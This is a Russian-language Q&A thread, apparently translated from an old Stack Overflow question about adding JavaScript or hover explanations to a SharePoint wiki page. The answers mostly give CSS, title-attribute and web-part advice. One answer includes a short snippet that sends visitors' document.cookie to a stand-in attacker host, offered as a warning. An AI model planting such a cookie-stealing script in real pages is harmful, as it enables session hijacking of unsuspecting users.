Как ввести Javascript в вики-страницу? - PullRequest
6 голосов
/ 18 сентября 2008

Как я, как администратор вики, могу ввести сценарии (Javascript) на вики-страницу Sharepoint?

Я хотел бы ввести название и, нажав на него, отобразив под ним небольшое объяснение. Я обычно делал это с помощью JavaScript, есть еще идеи?

Ответы [ 10 ]

10 голосов
/ 18 сентября 2008

Если авторы вики мудры, вероятно, нет способа сделать это.

Проблема с пользовательским JavaScript заключается в том, что он открывает возможность для всех форм злодеев собирать данные из ничего не подозревающих.

Давайте предположим, что зло-я разместил скрипт на общедоступном веб-сайте:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Теперь я буду получать информацию о cookie-файлах каждого посетителя на странице, размещенной в журнале на моем сервере. И это только верхушка айсберга.

4 голосов
/ 18 сентября 2008

Предполагая, что вы являетесь администратором вики и хотите отображать это при наведении курсора мыши, а не по щелчку, вам вообще не нужен javascript - вы можете использовать простой CSS. Вот пример стилей и разметки:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

При более сложных стилях окно всплывающей подсказки может выглядеть так, как вам хочется.

1 голос
/ 18 сентября 2008

Мне нравится ответ CSS. Когда вы можете использовать CSS вместо Javascript, это приводит к более простой разметке.
Другая вещь, на которую стоит обратить внимание, - это Community Kit для SharePoint Enhanced Wiki Edition на Codeplex. Вы можете скачать исходный код и добавить свои собственные функции. Или вы можете предложить это как новую функцию на форуме.

1 голос
/ 18 сентября 2008

Это полностью зависит от конкретного программного обеспечения Wiki, которое вы используете. Способ, который я видел, заключается в том, чтобы разместить файл js где-то еще, а затем включить его с тегом script с атрибутом src.

Если они этого не разрешают, возможно, они разрешают использование ИФРАМЫ, которую вы можете установить на странице, содержащей скрипт. Используя второй метод, вы не сможете получить доступ к DOM страницы хоста.

0 голосов
/ 04 июня 2019

Использование веб-части редактора контента

На ленте выберите Insert и выберите Web Part. В меню перейдите на Media and Content и выберите Content Editor. В раскрывающемся меню недавно созданной веб-части выберите Edit Web Part. В правом меню настроек веб-части разверните Appearance и установите Chrome Type на None. Нажмите Click Here to Add Content на веб-части и найдите Edit HTML Source на ленте. Вы можете использовать HTML в этой области без очистки.

Примечание. Если вы планируете добавлять варианты поведения для множества элементов страницы, вы можете загрузить файлы .js в библиотеку стилей и включить в редактор содержимого только тег <script src="...">. Вы также можете захотеть использовать пользовательский мастер или макет страницы.

Источник: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

0 голосов
/ 18 сентября 2008

Добавьте title="text here" к любому тегу, и при наведении на него должен отображаться текст.
Internet Explorer отображает текст при использовании атрибута alt="text here", хотя это не соответствует стандартам.

Я тестировал сейчас, и вы можете добавить <h2 title="some explanation here">headline</h2> к любой системе, основанной на Викимедиа (той, которую использует Википедия).

0 голосов
/ 18 сентября 2008

Это, конечно, будет зависеть от движка вики, с которым вы разговариваете. Скорее всего, хотя, как говорит sblundy, было бы угрозой безопасности разрешить бесплатное использование javascript на странице вики.

0 голосов
/ 18 сентября 2008

Если вы говорите об использовании Javascript как части веб-страницы на этом сайте, вы не можете. Или любой другой общедоступной вики по этому вопросу - это угроза безопасности.

Если вы хотите опубликовать пример кода, нажмите кнопку «101010» над текстовым полем.

0 голосов
/ 18 сентября 2008

Вы не сможете добавить код JavaScript для любой общедоступной вики. Если вы размещаете его самостоятельно, вам нужно запросить конкретную вики-систему, чтобы кто-то мог помочь вам изменить настройки - если это вообще возможно для этой системы.

0 голосов
/ 18 сентября 2008

Звучит как угроза безопасности. Похоже, что администратор вики может установить скрипты, см. пользовательские скрипты википедии .

...